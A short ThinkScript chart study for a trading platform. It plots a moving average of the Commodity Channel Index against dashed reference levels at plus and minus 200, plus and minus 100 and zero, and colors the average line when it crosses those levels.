declare lower;

input cciLength = 50;
input cciAvgLength = 20;
input keyLevel1 = 200;
input keyLevel2 = 100;

def CCI = CCI(length = cciLength);
plot Level1a = keyLevel1;
plot Level1b = -keyLevel1;
plot Level2a = keyLevel2;
plot Level2b = -keyLevel2;
plot ZeroLevel = 0;
plot CCIAvg = Average(CCI, cciAvgLength);
cciAvg.AssignValueColor(if (CCIAvg > keyLevel1 && CCIAvg[1] < keyLevel1) OR
(CCIAvg > keyLevel2 && CCIAvg[1] < keyLevel2) OR
(CCIAvg > -keyLevel1 && CCIAvg[1] < -keyLevel1) OR
(CCIAvg > -keyLevel2 && CCIAvg[1] < -keyLevel2) OR
(CCIAvg > 0 && CCIAvg[1] < 0) then Color.UPTICK else if (CCIAvg < keyLevel1 && CCIAvg[1] > keyLevel1) OR
(CCIAvg < keyLevel2 && CCIAvg[1] > keyLevel2) OR
(CCIAvg < -keyLevel1 && CCIAvg[1] > -keyLevel1) OR
(CCIAvg < -keyLevel2 && CCIAvg[1] > -keyLevel2) OR
(CCIAvg < 0 && CCIAvg[1] > 0) then Color.DOWNTICK else GetColor(7) );

Level1a.SetDefaultColor(GetColor(9));
Level1b.SetDefaultColor(GetColor(9));
Level2a.SetDefaultColor(GetColor(9));
Level2b.SetDefaultColor(GetColor(9));
ZeroLevel.SetDefaultColor(GetColor(9));
Level1a.SetStyle(Curve.SHORT_DASH);
Level1b.SetStyle(Curve.SHORT_DASH);
Level2a.SetStyle(Curve.SHORT_DASH);
Level2b.SetStyle(Curve.SHORT_DASH);
ZeroLevel.SetStyle(Curve.SHORT_DASH);
CCIAvg.SetLineWeight(3);

#---------------------------------------------------------end code